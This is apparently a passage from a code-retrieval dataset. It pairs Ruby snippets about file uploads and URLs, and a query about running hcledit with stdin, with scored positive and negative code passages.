"text": "def new_file\n x = new_location\n x.nil? ? nil : x['file']\n end",
"title": ""
},
{
"docid": "9941f21011df67f5e77ded7ea9600100",
"score": "0.566562",
"text": "def file_url\n header.value_replace_master(:file_url)\n end",
"title": ""
},
{
"docid": "987f45da101c45fb948f55cfb8f730f1",
"score": "0.5649116",
"text": "def url\n \"#{self.path}/#{self.base_file_name}\"\n end",
"title": ""
},
{
"docid": "73091e3e5c44c439a8035fc3b5bcb42b",
"score": "0.56487346",
"text": "def upload_file(bucket, key, data)\r\n bucket.put(key, data)\r\nend",
"title": ""
},
{
"docid": "c669ca862d661d730b8e5ef53a2cbe3c",
"score": "0.5647329",
"text": "def bucket_location\n self.remote_location.blank? ? self.upload_file_name : self.remote_location\n end",
"title": ""
},
{
"docid": "c669ca862d661d730b8e5ef53a2cbe3c",
"score": "0.5647329",
"text": "def bucket_location\n self.remote_location.blank? ? self.upload_file_name : self.remote_location\n end",
"title": ""
},
{
"docid": "b74cfd5b7664160fe86c4a6c2a4a74a3",
"score": "0.56371415",
"text": "def create\n if url_params[:file].present?\n puts url_params[:file]\n Url.import(url_params[:file])\n redirect_to root_path, notice: 'Successfully uploaded'\n elsif url_params[:original_url].present?\n\n @url = Url.create_update_with(url_params)\n @short_url = \"#{@url.short_url}\"\n redirect_to root_path(short_url: @short_url)\n else\n redirect_to root_path, alert: 'Please enter the URL in the text box or choose the csv file'\n end\n\n end",
"title": ""
},
{
"docid": "2be23ddc7f52f86f71367ae7b9a85e1b",
"score": "0.56340474",
"text": "def upload_file(file_uri, html_filename, destination_path)\n if(file_uri[/^http/])\n # TODO Sjekke at filen ligger på samme server eller annen server\n filename = file_uri\n else\n # binding.pry\n filename = (Pathname.new(html_filename.to_s).parent + Pathname.new(file_uri)).to_s\n end\n\n basename = Pathname.new(file_uri).basename.to_s\n destination_filename = destination_path + '/' + basename\n\n content = nil\n begin\n # puts \"Filename => \" + filename.to_s\n timeout(15) do # Makes open-uri timeout after 10 seconds.\n begin\n content = open(filename).read\n rescue\n puts \"Error: Timeout: \" + filename\n log_error('timed-out',filename)\n return nil\n end\n end\n rescue\n puts \"Logging error: File not found : \" + filename if(@debug)\n log_error('file-not-found',filename)\n end\n if(content)then\n puts \"File uri : \" + file_uri if(@debug)\n puts \" Copying : \" + filename if(@debug)\n puts \" To : \" + destination_filename if(@debug)\n @vortex.put_string(destination_filename, content)\n log_upload('file', file_uri , destination_filename.sub(@vortex_path,''))\n end\n end",
"title": ""
},
{
"docid": "f52c416cac3cc4b691ad24eddbd41fc0",
"score": "0.5627491",
"text": "def file_url(file, timeout_secs)\n if(file.persisted?)\n \"file://#{full_path(file)}\"\n full_path(file)\n else\n raise Error::ModelPersistError.new \"#{file} has not been saved!\"\n end\n end",
"title": ""
},
{
"docid": "9e2d775c9eea9cc2be8609c54c879bab",
"score": "0.5624443",
"text": "def set_file_url url\n PictureProcessor.new(self).set_file_url url\n end",
"title": ""
},
{
"docid": "990ddd4a4adc1443d6abf25cfbee4211",
"score": "0.5621724",
"text": "def save\n unless saved? || @contents.nil? || @name.nil?\n response = client.create_file(@name, @contents, @mime_type)\n unless response.error?\n result = response.result\n @name = result[FIELD_NAME] || File.basename(result[FIELD_URL])\n @url = result[FIELD_URL]\n end\n end\n saved?\n end",
"title": ""
},
{
"docid": "d8d878c0391411134a17dcfe0f3ddd00",
"score": "0.5621546",
"text": "def put(request, response)\n if not @file\n parts = @local_path.split(\"/\")\n file = WSFile.all(parent: nil, name: parts[1])[0]\n endd = parts.last==\"\" ? -3 : -2\n parts[2..endd].each do |part|\n file = file.children(name: part)\n end\n parent = file_by_path parts[0..-2].join(\"/\")\n @file = WSFile.create(name: parts.last, create_time: DateTime.now, directory: false, edit_time: DateTime.now, parent: parent)\n Permission.create(user: @ws_user, file: @file, level: \"owner\")\n end\n io = request.body\n temp = Tempfile.new(\"websync-dav-upload\")\n data = io.read rescue \"\"\n temp.write data\n temp.close\n @file.content_type = _content_type temp.path\n temp.flush rescue nil\n @file.edit_time = DateTime.now\n @file.save!\n @file.data=data\n Created\n end",
"title": ""
},
{
"docid": "c7e6d3394f4de68c6f2eb666a8a8512b",
"score": "0.56182194",
"text": "def save(local_path, save_path)\n file = @bucket.files.create(:key => save_path,\n :body => File.open(local_path),\n :public => !@use_auth)\n file.save\n if @use_auth\n file.url(Time.now.to_i + @expires)\n else\n file.public_url\n end\n end",
"title": ""
},
{
"docid": "308504a05639a13c4f87c4c2d6d45a08",
"score": "0.56110626",
"text": "def set_url( new )\n self.url = new.to_url\n self.save!\n end",
"title": ""
},
{
"docid": "308504a05639a13c4f87c4c2d6d45a08",
"score": "0.56110626",
"text": "def set_url( new )\n self.url = new.to_url\n self.save!\n end",
"title": ""
},
{
"docid": "cd051fd9ce5c3e0cf268ffd15d12b8fe",
"score": "0.5604808",
"text": "def file_url(post, type, tagged_filenames: false)\n subdir = subdir_for(post.md5)\n file = file_name(post.md5, post.file_ext, type)\n seo_tags = seo_tags(post) if tagged_filenames\n\n if type == :preview && !post.has_preview?\n \"#{root_url}/images/download-preview.png\"\n elsif type == :preview\n \"#{base_url}/preview/#{subdir}#{file}\"\n elsif type == :crop\n \"#{base_url}/crop/#{subdir}#{file}\"\n elsif type == :large && post.has_large?\n \"#{base_url}/sample/#{subdir}#{seo_tags}#{file}\"\n else\n \"#{base_url}/original/#{subdir}#{seo_tags}#{post.md5}.#{post.file_ext}\"\n end\n end",
"title": ""
},
{
"docid": "3b885751368e52cfc4c0b79dd957279a",
"score": "0.55964726",
"text": "def put_file path, data, mutable = false\n file = File.new @server_url, data, mutable\n self[path] = file\n file.cap\n end",
"title": ""
},
{
"docid": "e28ffb1f63236c097856ce399b14bba0",
"score": "0.55963504",
"text": "def service_url_for_direct_upload(expires_in: ActiveStorage.service_urls_expire_in)\n service.url_for_direct_upload key, expires_in: expires_in, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata\n end",
"title": ""
},
{
"docid": "f9b87e73d3ddeb86256f8673c5eaf630",
"score": "0.55918944",
"text": "def path\n \"#{UPLOAD_PATH}/#{self.id}\"\n end",
"title": ""
},
{
"docid": "f9b87e73d3ddeb86256f8673c5eaf630",
"score": "0.55918944",
"text": "def path\n \"#{UPLOAD_PATH}/#{self.id}\"\n end",
"title": ""
},
{
"docid": "0ef2bab4536f0e84f14fa60088be4fec",
"score": "0.55910015",
"text": "def edited_photo_path(type = \"\") #:doc:\n \"#{Rails.root}/public#{@edited_photo.data_file.url(type)}\"\n end",
"title": ""
},
{
"docid": "f287fa36dfb5f61811ad94622b7f771d",
"score": "0.55881405",
"text": "def url\n if @view_url\n @view_url # transient view_url can override url from model\n elsif has_value?(self.original_url)\n self.original_url\n else\n self.upload_url\n end\n end",
"title": ""
},
{
"docid": "03d7891fd73d068afce376011fdb292f",
"score": "0.55779177",
"text": "def on_put(path)\n send_extended_response\n end",
"title": ""
},
{
"docid": "1b2cb4daacd2707f4f6c5041c5064548",
"score": "0.5575215",
"text": "def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end",
"title": ""
},
{
"docid": "920da10e9f8357ca26883fb9f20ea547",
"score": "0.5565021",
"text": "def replace_with(filename)\n response = Fleakr::Api::UploadRequest.with_response!(filename, :photo_id => self.id, :type => :update)\n self.populate_from(response.body)\n self\n end",
"title": ""
},
{
"docid": "97514a8245a8115cb83db88c293916ad",
"score": "0.5563779",
"text": "def swap(uploaded_file)\n update(uploaded_file)\n uploaded_file if uploaded_file == get\n end",
"title": ""
},
{
"docid": "fbd7c46b15ae2792fd842ba0d764b7d0",
"score": "0.5559497",
"text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end",
"title": ""
},
{
"docid": "4db612bde0b9f4edde96b8c48254e50f",
"score": "0.55572695",
"text": "def swap(uploaded_file)\n update(uploaded_file)\n uploaded_file if uploaded_file == get\n end",
"title": ""
},
{
"docid": "0b60ee31e41279c1dbb6eb58abb991e7",
"score": "0.5546507",
"text": "def original_url; end",
"title": ""
},
{
"docid": "1fc320057a5ef746846496d2239dc5da",
"score": "0.55447114",
"text": "def url\n file.try(:url)\n end",
"title": ""
},
{
"docid": "e1b7c51c246046ea5ac46634915e9ac9",
"score": "0.55440396",
"text": "def download_resource(src_url,dest_path,content_type)\n begin \n content = open(src_url).read\n basename = Pathname.new(src_url).basename.to_s.gsub(/\\..*/,'')\n vortex_url = dest_path + basename + \".\" + content_type\n vortex_url = vortex_url.downcase\n begin\n @vortex.put_string(vortex_url, content)\n puts \"Copying resource: \" + src_url + \" => \" + vortex_url\n @log = @log + \"Copying resource: \" + src_url + \" => \" + vortex_url + \"<br>\\n\"\n rescue Exception => e\n puts e.message\n pp e.backtrace.inspect\n puts \"vortex_url: \" + vortex_url\n exit\n end\n return vortex_url\n rescue\n puts \"WARNING could not open file \" + src_url\n @log = @log + \"WARNING could not open file \" + src_url + \"<br>\\n\"\n return nil\n end\nend",
"title": ""
},
{
"docid": "3f7aa5a8d6869e2d5c57ba99c0d24fad",
"score": "0.55384177",
"text": "def set_remote_url(name, url); end",
"title": ""
},
{
"docid": "af9cb3bc2d6ec0852ba6f4e15660d636",
"score": "0.55302405",
"text": "def save_url(path, url)\n resp = request('/files/save_url', path: path, url: url)\n parse_tagged_response(resp)\n end",
"title": ""
}
] |
4b5711c5d760f270ef576f44751895f1
|
Run hcledit with the given args and the given stdin. Return stdout.
|
[
{
"docid": "352d95224adcc4a063b8b22faeab682b",
"score": "0.8516781",
"text": "def hcledit(args, stdin)\n out, err, status = Open3.capture3(\"hcledit\", *args, stdin_data: stdin)\n if status != 0\n raise \"hcledit exited with exit code #{status}: #{err}\"\n end\n out\nend",
"title": ""
}
] |
[
{
"docid": "1b722aff2e116904380120d8c4c57709",
"score": "0.65029275",
"text": "def run(input=[])\n mock_terminal\n input.each { |i| $terminal.write_line(i) }\n $terminal.close_write\n RHC::CLI.start(arguments)\n end",
"title": ""
},
{
"docid": "c9ee68f70911ed1544f1e05f24d5a893",
"score": "0.61210704",
"text": "def run(args = ARGV)\n @options, paths = Option.new.parse(args)\n source = paths.empty? ? $stdin.read : IO.read(paths[0])\n if @options[:decode]\n puts BaseHangul.decode(source)\n else\n puts BaseHangul.encode(source)\n end\n 0\n end",
"title": ""
},
{
"docid": "ecd7acee2627e9123d34e082e16466ad",
"score": "0.609993",
"text": "def execute(input: $stdin, output: $stdout)\n end",
"title": ""
},
{
"docid": "c56e5c0769ca44a891eb379fae373825",
"score": "0.58652794",
"text": "def execute(input: $stdin, output: $stdout)\n SampleCmdletPatterns::Commands::Toc.new({}).execute\n :gui\n end",
"title": ""
},
{
"docid": "8fac146f7f72ba79da2ce178116d9e65",
"score": "0.5722928",
"text": "def h!\n puts cli\n exit\n end",
"title": ""
},
{
"docid": "2695bb8865b6fc07f39b761728f363ea",
"score": "0.56657034",
"text": "def execute(input: $stdin, output: $stdout)\n name = 'Bobby'\n\n markdown = <<~MARKDOWN\n ```ruby\n class Greeter\n def hello(name)\n puts \"Hello #{name}\"\n end\n end\n ```\n MARKDOWN\n parsed = TTY::Markdown.parse(markdown)\n puts parsed\n\n :gui\n end",
"title": ""
},
{
"docid": "d4020811cc25fe760523575506f02ec0",
"score": "0.56631696",
"text": "def execute(input: $stdin, output: $stdout)\n heading 'Read more than one line terminated by Ctrl+d or Ctrl+z'\n prompt.ok reader.read_multiline # => [ \"line1\", \"line2\", ... ]\n\n heading 'If you wish keystrokes to be interpreted by the terminal instead, set :raw option false'\n\n prompt.ok reader.read_line(raw: false)\n\n heading 'Need line prefixes'\n\n prompt.ok reader.read_multiline('>> ')\n\n :gui\n end",
"title": ""
},
{
"docid": "80efaa44856b349aee7e7272f5db5b6e",
"score": "0.56449914",
"text": "def run_hooks(args, stdin)\n dir = \"#{$PROGRAM_NAME}.d\"\n\n return 0 unless Dir.exist? dir\n return 0 if Dir[\"#{dir}/*\"].empty?\n\n programs(dir).each do |file|\n OpenNebula.log \"Running #{file}\"\n\n cmd = \"#{file} #{args.join(' ')}\"\n\n o, e, s = Open3.capture3(cmd, :stdin_data => stdin.to_s)\n\n raise \"Error running #{file}\\n#{e}\" unless s.exitstatus.zero?\n\n OpenNebula.log o\n end\n\n 0\n end",
"title": ""
},
{
"docid": "a466b7ddca2a62134c8162e3af6f1a8b",
"score": "0.56156266",
"text": "def run(*args)\n stdin = nil\n cmd = SysCmd.command name do\n args.each do |arg|\n case arg\n when Hash\n arg.each do |key, value|\n next if value.nil?\n case value\n when Array\n value = value*\",\"\n when String\n if value.include?(\"\\n\")\n raise \"Cannot pass multiple options through STDIN\" if stdin\n stdin = Support.unindent(value)\n value = \"-\"\n input stdin\n end\n end\n option key.to_s, equal_value: value\n end\n else\n option arg\n end\n end\n end\n if @context\n @context.execute cmd\n end\n cmd\n end",
"title": ""
},
{
"docid": "617ece4997aec392a62a2bf3d67c0232",
"score": "0.56093854",
"text": "def execute(input: $stdin, output: $stdout)\n prompt.ok TTY::Link.link_to('Klueless IO', 'https://klueless.io/')\n prompt.say 'Click command+mouse click to open hyperlink'\n\n :gui\n end",
"title": ""
},
{
"docid": "68cb67c7c02af7841f3d7155e65e803f",
"score": "0.5604043",
"text": "def run(command, input=\"\")\n handles = ssh_run_with_streams(command)\n handles[:in] << input\n handles[:in].close\n output = handles[:out].read\n handles[:out].close\n error = handles[:err].read\n handles[:err].close\n return_value = handles[:thread].value\n raise RemoteFailure.new(error, output, return_value),\n \"ssh on host #{hostname} failed\" unless return_value.success?\n output\n end",
"title": ""
},
{
"docid": "364322ad553a9f8a37ce43b9de08925d",
"score": "0.5595359",
"text": "def run(input)\n return Open3.capture3(command, :stdin_data => input)\n end",
"title": ""
},
{
"docid": "e6e08eb07218bbf92ef963fe531dfa9d",
"score": "0.5593165",
"text": "def run\n render_greeting\n @input = $stdin.gets.chomp\n\n until @input == 'quit'\n parse_input(@input)\n render_result\n @input = $stdin.gets.chomp\n end\n end",
"title": ""
},
{
"docid": "76b6a6fc5f80080077e9351d6ec3949c",
"score": "0.5585914",
"text": "def execute(input: $stdin, output: $stdout)\n header = ['h1', 'h2', 'h3']\n rows = [['aaa1', 'aa2', 'aaaaaaa3'], ['b1', 'b2', 'b3']]\n table = TTY::Table.new header, rows\n puts table.render :unicode, width: 80, resize: true \n\n :gui\n end",
"title": ""
},
{
"docid": "f0c2fe80100b135ab792f2549c1a869e",
"score": "0.5564523",
"text": "def hg_run(args)\n # Open the pipe if necessary\n start unless alive?\n \n begin\n # Timeout requests that take too long.\n timeout_time = 3\n\n Timeout::timeout(timeout_time) do\n out_header = JSON.dump(args: args)\n\n # Get the size of the header itself and write that.\n bits = get_fixed_bits_from_header(out_header)\n @in.write(bits)\n\n # hg_run is now waiting for the header.\n write_data(out_header)\n\n # hg_run will now return data to us. First it sends the header.\n header = get_header\n\n # Now handle the header, any read any more data required.\n res = handle_header_and_return(header)\n\n # Finally, return what we got.\n return_result(res)\n end\n rescue Timeout::Error => boom\n error \"Timeout on a hg_run call\"\n stop \"Timeout on hg_run call.\"\n end\n\n rescue Errno::EPIPE, EOFError\n stop \"EPIPE\"\n raise MercurialError, \"EPIPE\"\n end",
"title": ""
},
{
"docid": "85a95a322f18ac997680e4464e154254",
"score": "0.555765",
"text": "def execute(input: $stdin, output: $stdout)\n table = TTY::Table.new header: ['head1', 'head2']\n table << [\"Multi\\nLine\", \"Text\\nthat\\nwraps\"]\n table << [\"Some\\nother\\ntext\", 'Simple']\n puts table.render :ascii, multiline: true, padding: [1,2,1,2]\n\n :gui\n end",
"title": ""
},
{
"docid": "b37cb0bde19ed6000f30dd7a41aeaf71",
"score": "0.55465126",
"text": "def call(cmd, *args, stdin: \"\")\n cmd = OodCore::Job::Adapters::Helper.bin_path(cmd, bin, bin_overrides)\n args = args.map(&:to_s)\n o, e, s = Open3.capture3(cmd, *(args.map(&:to_s)), stdin_data: stdin.to_s)\n s.success? ? o : raise(Error, e)\n end",
"title": ""
},
{
"docid": "223469c714e05e0ce0f9ed41cb2b19d4",
"score": "0.55312747",
"text": "def initialize(stdin=$stdin,stdout=$stdout, stderr=$stderr, homedir=nil)\n attrs = {}\n if stdin.is_a?(Hash)\n attrs = stdin.clone()\n stdin = attrs[:stdin] || $stdin\n stdout = attrs[:stdout] || $stdout\n stderr = attrs[:stderr] || $stderr\n homedir = attrs[:homedir] || attrs[:home] || attrs[:home_directory]\n end\n # establish IO\n # @stdin, @stdout, @stderr = stdin, stdout, stderr\n set_stdin(stdin)\n set_stdout(stdout)\n set_stderr(stderr)\n \n # establish home directory\n use_homedir = homedir || ENV['MORPHEUS_CLI_HOME'] || File.join(Dir.home, \".morpheus\")\n set_home_directory(use_homedir)\n \n # use colors by default\n set_coloring($stdout.isatty) #rescue nil\n # Term::ANSIColor::coloring = STDOUT.isatty\n # @coloring = Term::ANSIColor::coloring?\n\n # startup script\n if File.exist? Morpheus::Cli::DotFile.morpheus_profile_filename\n @profile_dot_file = Morpheus::Cli::DotFile.new(Morpheus::Cli::DotFile.morpheus_profile_filename)\n else\n @profile_dot_file = nil\n end\n \n # the string to prompt for input with\n @prompt ||= Morpheus::Terminal.prompt\n @angry_prompt ||= Morpheus::Terminal.angry_prompt\n end",
"title": ""
},
{
"docid": "4be409c74b096dd5905632f1449b4b75",
"score": "0.5517175",
"text": "def execute(input: $stdin, output: $stdout)\n table = TTY::Table.new [ [\"First\", '1'], [\"Multi\\nLine\\nContent\", '2'], [\"Third\", '3']]\n puts table.render :ascii, multiline: true\n\n :gui\n end",
"title": ""
},
{
"docid": "02d2d8a44012aa915676c89b3faf0ad8",
"score": "0.55114156",
"text": "def with_stdin(input)\n self.stdin = input\n self\n end",
"title": ""
},
{
"docid": "ecb8fdf33ed79642dca6f1c0ce201375",
"score": "0.5489696",
"text": "def parse_stdin\n#--{{{\n dash_dash, dash = %w( -- - ).map{|d| @argv.index d}\n if dash\n if dash_dash\n if dash < dash_dash\n @argv.delete '-'\n STDIN\n end\n else\n @argv.delete '-'\n STDIN\n end\n end\n#--}}}\n end",
"title": ""
},
{
"docid": "c802f7a8f3eb37508a278140f05e251e",
"score": "0.5487013",
"text": "def execute(input: $stdin, output: $stdout)\n logger = TTY::Logger.new do |config|\n config.types = {\n thanks: { level: :info },\n done: { level: :info }\n }\n config.handlers = [\n [:console, {\n styles: {\n thanks: {\n symbol: '❤️ ',\n label: 'thanks',\n color: :magenta,\n levelpad: 0\n },\n done: {\n symbol: '!!',\n label: 'done',\n color: :green,\n levelpad: 2\n }\n }\n }]\n ]\n end\n\n logger.thanks('Great work!')\n logger.done('Work done!')\n\n :gui\n end",
"title": ""
},
{
"docid": "5115de2c9a054fbbe7bbe32d26c97abc",
"score": "0.5484249",
"text": "def stdin; end",
"title": ""
},
{
"docid": "1acc74c0afa590085121fb837970b721",
"score": "0.5471363",
"text": "def run_script_with_input(input, args=[])\n puts \"\\n========================================================\"\n puts \"Running script #{@script} #{args.join(\" \")}:\\n\\n\"\n IO.popen(([@script] + args).join(\" \"), \"r+\") do |child|\n child.write(input)\n child.close_write\n puts child.read\n end\n end",
"title": ""
},
{
"docid": "c8499d5f529fc2e8faaffb32a0fd57de",
"score": "0.54711026",
"text": "def stdin_pipe; end",
"title": ""
},
{
"docid": "c80a182bac29d962224ae6300876fd6a",
"score": "0.5469188",
"text": "def stdinput\n $stdin\n end",
"title": ""
},
{
"docid": "06a065f82397438420b8f4b113732c8f",
"score": "0.54607755",
"text": "def run_main(input)\n run_input as_main(input)\n end",
"title": ""
},
{
"docid": "9e6e28e60f5a4a6610d7ce52ef8f26b6",
"score": "0.54556036",
"text": "def main(args, locale, stdin, stdout, stderr)\n old_in, old_out, old_err = $stdin, $stdout, $stderr\n begin\n $stdin, $stdout, $stderr = stdin.to_io, stdout.to_io, stderr.to_io\n if @object.parse(args.to_a)\n @object.run\n return 0\n else\n return -1\n end\n rescue AbortException\n return -1\n rescue => e\n $stderr.puts e.full_message\n return -1\n ensure\n $stdin, $stdout, $stderr = old_in, old_out, old_err\n end\n end",
"title": ""
},
{
"docid": "d0fdc6f706950e492df14edd358861e5",
"score": "0.5442435",
"text": "def script(klass, *args, &block)\n args += process_args(klass)\n if DIFFEQ_ARGS[:describe] then\n $stdout.puts\n $stdout.puts klass.description\n $stdout.puts\n exit(1)\n end\n\n if $stdin.tty? then\n $stdout.puts $help unless $help.nil?\n $stdout.puts \"If input is not piped in, a diffeq will be requested.\"\n $stdout.puts\n end\n\n klass.script(readDiffEq, *args, &block)\nend",
"title": ""
},
{
"docid": "0afa3072615898c16bd9a698ecce77d6",
"score": "0.54374075",
"text": "def process_stdin\n process_file_handle($stdin)\n end",
"title": ""
},
{
"docid": "f88b742a109beed55de795459aace185",
"score": "0.5420994",
"text": "def start(given_args = ARGV, config = {})\n config[:shell] ||= Foreman::Thor::Base.shell.new\n dispatch(nil, given_args.dup, nil, config)\n rescue Foreman::Thor::Error => e\n config[:debug] || ENV[\"THOR_DEBUG\"] == \"1\" ? (raise e) : config[:shell].error(e.message)\n exit(1) if exit_on_failure?\n rescue Errno::EPIPE\n # This happens if a thor command is piped to something like `head`,\n # which closes the pipe when it's done reading. This will also\n # mean that if the pipe is closed, further unnecessary\n # computation will not occur.\n exit(0)\n end",
"title": ""
},
{
"docid": "3aab023165d028e10da3c4c53e7def9b",
"score": "0.5415731",
"text": "def run_command(cmd, output_lines = nil, input_lines = nil)\n exitcode = -1\n Open3.popen2e(cmd) do |stdin, stdout_and_stderr, wait_thr|\n # Anything to pipe in?\n unless input_lines.nil?\n stdin.puts(input_lines)\n stdin.close\n end\n stdout_and_stderr.each_line do |line|\n # Save the output lines for the caller if we have been given an array, else output immediately\n if output_lines.nil?\n puts line\n else\n output_lines << line.chomp\n end\n end\n exitcode = wait_thr.value.exitstatus\n end\n exitcode\nend",
"title": ""
},
{
"docid": "ce640566e3bc26c35c026438d900a4d5",
"score": "0.5401249",
"text": "def run!\n say_hello\n catch :quit do\n HTTY::CLI::InputDevice.new(self).commands do |command_line|\n run_command_line(command_line)\n end\n end\n say_goodbye\n end",
"title": ""
},
{
"docid": "ce640566e3bc26c35c026438d900a4d5",
"score": "0.5401249",
"text": "def run!\n say_hello\n catch :quit do\n HTTY::CLI::InputDevice.new(self).commands do |command_line|\n run_command_line(command_line)\n end\n end\n say_goodbye\n end",
"title": ""
},
{
"docid": "19cb348a5bf44c47633da29b1f291e15",
"score": "0.5397554",
"text": "def run *args\n if RUBY_PLATFORM == 'java'\n file = \"\"\n args.each do |arg|\n case arg\n when Hash\n file = arg[:in]\n end\n end\n cmd = command.join \" \"\n if file\n cmd += \" < #{file}\"\n end\n system cmd\n else\n system *command, *args\n end\n end",
"title": ""
},
{
"docid": "b131a7943d6b4a17cf91788a11fd9ff6",
"score": "0.5388221",
"text": "def system(*args)\n opts = {}\n opts = args.pop if Hash === args.last\n command = args\n command = args.first if args.length == 1 and Array === args.first\n\n if command.respond_to? :flatten\n flat = command.flatten\n secret = command - flat\n begin\n # if available, use escape as it does prettier quoting\n raise LoadError if not defined? Escape\n require 'escape'\n echo = Escape.shell_command(command.compact - secret)\n rescue LoadError\n # std-lib function that gets the job done\n echo = Shellwords.join(command.compact - secret)\n end\n command = flat.compact\n else\n echo = command\n command = [command]\n end\n\n patterns = opts[:hilite] || []\n patterns=[patterns] if String === patterns or Regexp === patterns\n patterns.map! do |pattern|\n String === pattern ? Regexp.new(Regexp.escape(pattern)) : pattern\n end\n\n yield :stdin, echo unless opts[:echo] == false\n\n semaphore = Mutex.new\n env = {'LC_CTYPE' => 'en_US.UTF-8'}\n sys_env = opts[:system_env] || {}\n env.merge! sys_env unless sys_env.empty?\n sys_opts = opts[:system_opts] || {}\n Open3.popen3(env, *command, sys_opts) do |pin, pout, perr, wait|\n [\n Thread.new do\n until pout.eof?\n out_line = pout.readline.chomp\n semaphore.synchronize do\n if patterns.any? {|pattern| out_line =~ pattern}\n yield :hilite, out_line\n else\n yield :stdout, out_line\n end\n end\n end\n end,\n\n Thread.new do\n until perr.eof?\n err_line = perr.readline.chomp\n semaphore.synchronize do\n yield :stderr, err_line\n end\n end\n end,\n\n Thread.new do\n if opts[:stdin].respond_to? :read\n require 'fileutils'\n FileUtils.copy_stream opts[:stdin], pin\n elsif opts[:stdin]\n pin.write opts[:stdin].to_s\n end\n pin.close\n end\n ].each {|thread| thread.join}\n wait and wait.value.exitstatus\n end\n end",
"title": ""
},
{
"docid": "76fa7631a357e27d43ff5d2023530bc9",
"score": "0.5386059",
"text": "def run(inputs)\n command = \"#{configuration.bin_path} #{build_switches} #{inputs}\"\n\n status = nil\n logger.info(command)\n Open3.popen2e(command) do |_, stdout_and_stderr, wait_thr|\n logger.info(stdout_and_stderr.read)\n status = wait_thr.value\n end\n\n status\n end",
"title": ""
},
{
"docid": "e476cbdce292c4580c765fdc7de6be06",
"score": "0.5384842",
"text": "def run\n\n arg = get_cli_args\n\n puts 'run stuff'\n\nend",
"title": ""
},
{
"docid": "62da24e832fa2b6d4d1515c9cb21c6d7",
"score": "0.5381634",
"text": "def run_cmd(input); end",
"title": ""
},
{
"docid": "6b0ec43477aec99f8d98d9abdd959bc5",
"score": "0.5376854",
"text": "def stdin\n @mock_stdin\n end",
"title": ""
},
{
"docid": "926e679b8b788506ab702e85fda9d69e",
"score": "0.5371602",
"text": "def machined_cli(args, silence = true)\n capture(:stdout) {\n Machined::CLI.start args.split(' ')\n }\n end",
"title": ""
},
{
"docid": "8d395b329d862349be75253eb7a892a1",
"score": "0.5352682",
"text": "def usage\n puts <<End\nUsage: stdin | #{File.dirname($0)}\n\nEnd\n exit\nend",
"title": ""
},
{
"docid": "e866ff96ad2ba7193778587615e4c1c6",
"score": "0.5351074",
"text": "def execute(input: $stdin, output: $stdout)\n table = TTY::Table.new ['header1','header2'], [['a1', 'a2'], ['b1', 'b2']]\n\n puts \"table.rows_size: #{table.rows_size}\"\n puts \"table.columns_size: #{table.columns_size}\"\n puts \"table.size: #{table.size}\"\n\n heading 'basic'\n puts table.render(:basic)\n\n heading 'basic'\n puts 'ascii'\n puts table.render(:ascii)\n\n heading 'unicode'\n puts table.render(:unicode)\n\n :gui\n end",
"title": ""
},
{
"docid": "c5a06154af5a56d8dcc81c86f3f7b533",
"score": "0.5349311",
"text": "def run!(opts={:stdin => false})\n run(opts)\n self\n end",
"title": ""
},
{
"docid": "5cfddfe917b81bf949dd7f5c77c8d4f3",
"score": "0.534219",
"text": "def _handle_console_input\n cmd = $stdin.gets\n begin\n res = eval(cmd, TOPLEVEL_BINDING)\n $stdout.puts \"=> #{res.inspect}\"\n $stdout.flush\n rescue SyntaxError => e\n $stdout.puts e\n $stdout.flush\n rescue Exception => e\n $stdout.puts e\n $stdout.flush\n end\n end",
"title": ""
},
{
"docid": "a01239fe8c823645ed8414ec6a263338",
"score": "0.5338191",
"text": "def initialize(stdin = $stdin, stdout = $stdout)\n @stdin = stdin\n @stdout = stdout\n end",
"title": ""
},
{
"docid": "7f74b9f13b26cfc25f6a5e8ecf04eff9",
"score": "0.533516",
"text": "def execute(input: $stdin, output: $stdout)\n :gui\n end",
"title": ""
},
{
"docid": "987ba975f2c596bf25703f3aea5ce888",
"score": "0.5324541",
"text": "def call(cmd, *args, env: {}, stdin: \"\")\n args = args.map(&:to_s)\n env = env.to_h\n o, e, s = Open3.capture3(env, cmd, *args, stdin_data: stdin.to_s)\n s.success? ? o : raise(Error, e)\n end",
"title": ""
},
{
"docid": "1b4adcaee7e2c13d9cab56aaf1554e8d",
"score": "0.5322346",
"text": "def initialize(output)\n @highline = HighLine.new(STDIN, output)\n @verbosity = 1\n end",
"title": ""
},
{
"docid": "5022fc494f07818c59ffd357f91edb67",
"score": "0.5308723",
"text": "def start(args=ARGV, config={})\n config[:shell] ||= Thor::Base.shell.new\n\n if Thor::HELP_MAPPINGS.include?(args.first)\n help(config[:shell])\n else\n opts = Thor::Options.new(class_options)\n opts.parse(args)\n\n new(opts.arguments, opts.options, config).invoke(:all)\n end\n rescue Thor::Error => e\n config[:shell].error e.message\n end",
"title": ""
},
{
"docid": "cfd6e73f1e7dadfb183c3763a11a48fa",
"score": "0.53084165",
"text": "def run\n\t\tinput = nil\n\t\t\n\t\tloop do \n\t\tbegin\t\n\t\t\tprint '>'\n\t\t\tinput = gets.strip.split('|')\n\t\t\tif( input.to_s == 'exit' )\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\tlastOutPut = nil\n\t\t\tinput.each{|cmd|\n\t\t\t\tif cmd.start_with? 'cd ' \n\t\t\t\t\tDir.chdir(cmd[3..-1])\n\t\t\t\t\tlastOutPut = nil\n\t\t\t\telsif cmd.start_with? 'timer '\n\t\t\t\t\tTimer.new(*(cmd[6..-1].split(' '))).start\n\t\t\t\telse\t\t\n\t\t\t\t\tIO.popen(cmd, \"r+\") do |pipe|\n\t\t\t\t\t\tpipe.puts lastOutPut unless lastOutPut.nil?\n\t\t\t\t\t\tpipe.close_write \n\t\t\t\t\t\tlastOutPut = pipe.read.to_s\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t}\n\t\t\tputs lastOutPut unless lastOutPut.nil?\n\t\trescue Exception\t\n\t\t\tputs \"\"\n\t\tend\n\t\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "58bc4d0da9a2d62b2858c21786aa2640",
"score": "0.5307627",
"text": "def run(args = ARGV)\n @options, paths = Option.new.parse(args)\n source = if paths.empty?\n $stdin.read\n else\n File.read(paths[0])\n end\n runner = Runner.new(Code.new(source))\n runner.run\n end",
"title": ""
},
{
"docid": "53a12b61fc0fb6232dec5b8721ace299",
"score": "0.53061193",
